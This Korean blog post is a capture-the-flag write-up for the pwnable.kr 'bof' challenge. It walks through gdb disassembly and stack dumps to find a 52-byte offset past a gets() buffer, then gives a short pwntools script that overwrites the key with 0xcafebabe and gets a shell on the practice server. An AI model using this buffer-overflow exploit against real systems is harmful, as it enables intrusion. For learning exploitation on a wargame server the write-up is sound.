func 의 인자로 0xdeadbeef값을 전달한다.
이후 사용자로부터 oberflowme변수에 입력을 받는다.
여기서 gets함수를 사용하기 때문에 아마 32바이트의 값이 넘어가는 값으로 overflow를 시킬 수 있을 것이다
그리고 key에 0xdeadbeef 값이 어떤 일에 의해서 0xcafebabe라는 값이 되면 쉘이 실행된다.
gdb를 통해 bof파일을 분석해보겠다.
스택 프레임도 나오고 현재 esp의 위치와 deadbeef가 할당되는 과정도 나온다.
함수를 불러오는 곳에 break 포인트를 설정 후 함수 실행을 하고 스택프레임을 봐야겠다.
arg[0] 에 deadbeef가 설정되었고,
func 내부를 보면
0x5655562c <func> push ebp
0x5655562d <func+1> mov ebp, esp
0x5655562f <func+3> sub esp, 0x48
0x56555632 <func+6> mov eax, dword ptr gs:[0x14]
0x56555638 <func+12> mov dword ptr [ebp - 0xc], eax
0x5655563b <func+15> xor eax, eax
0x5655563d <func+17> mov dword ptr [esp], 0x5655578c
0x56555644 <func+24> call puts <puts>
0x56555649 <func+29> lea eax, [ebp - 0x2c]
0x5655564c <func+32> mov dword ptr [esp], eax
0x5655564f <func+35> call gets <gets>
2번줄 까지 실행하면 ebp와 esp의 위치가 같아지고 그때의 스택은
00:0000│ ebp esp 0xffffd288 —▸ 0xffffd2a8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— ...
01:0004│ 0xffffd28c —▸ 0x5655569f (main+21) ◂— mov eax, 0
02:0008│ 0xffffd290 ◂— 0xdeadbeef
03:000c│ 0xffffd294 ◂— 0x0
04:0010│ 0xffffd298 —▸ 0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
05:0014│ 0xffffd29c —▸ 0xf7ea2ecb (__init_misc+43) ◂— add esp, 0x10
06:0018│ 0xffffd2a0 —▸ 0xffffd4be ◂— '/home/barrack2/systemhack/pwnable/bof'
07:001c│ 0xffffd2a4 ◂— 0x70 /* 'p' */
이렇게 된다.
이후 esp에 0x48만큼 빼줌으로써 크기를 할당해줬다.
이 부분을 보면 ebp + 8 부분과 cafebabe를 비교한다. ebp의 주소는 0xffffd128이다.
0xffff d130 부터 cafebabe값이 되게 하면 된다.
내가 입력한 변수가 0xffffd0fc에 저장되있으므로
overflowme 라는 변수의 주소는 0xffff d0fc 이다.
또는 ebp-0x2c를 해보면 ffffd0fc가 나온다.
그렇다면 ebp + 8이 key값이고, ebp - 0x2c 값이 overflowme이다.
0x8 + 0x2c = 0x34 임으로 52바이트만큼 떨어져 있다는 것이다.
그렇다면 52바이트 만큼의 데이터 이후에 cafebabe라는 값을 넣으면 bof가 일어날 것이다
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¾ºþÊ
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÊþº¾
0123456789012345678901234567890123456789012345678912Êþº¾
0123456789012345678901234567890123456789012345678912¾ºþÊ
Êþº¾0123456789012345678901234567890123456789012345678912
¾ºþÊ0123456789012345678901234567890123456789012345678912
이렇게 string to hex를 통해 입력을 해봤는데 자꾸 안됐다. 결국 pwntool을 이용해서 익스플로잇을 짰따.
그냥 폰툴로 짜세요...
from pwn import *
s = remote("pwnable.kr",9000)
s.sendline(b"a"*52 + p32(0xcafebabe))
s.interactive()
이렇게 코드를 짜서 넘겨주었고 쉘 권한을 얻게 되었다. 이후 cat flag를 통해 플래그를 얻었다.
'시스템해킹' 카테고리의 다른 글
dreamhack ssp_000 writeup (0) | 2023.11.16 |
---|---|
PLT, GOT의 개념 및 GOT overwrite (0) | 2023.11.16 |
[LAZENCA] ROP-x64 part.4 (2) | 2023.11.09 |
[LAZENCA] ROP-x64 part.3 (0) | 2023.11.09 |
[LAZENCA] ROP-x64 part.2 (1) | 2023.11.09 |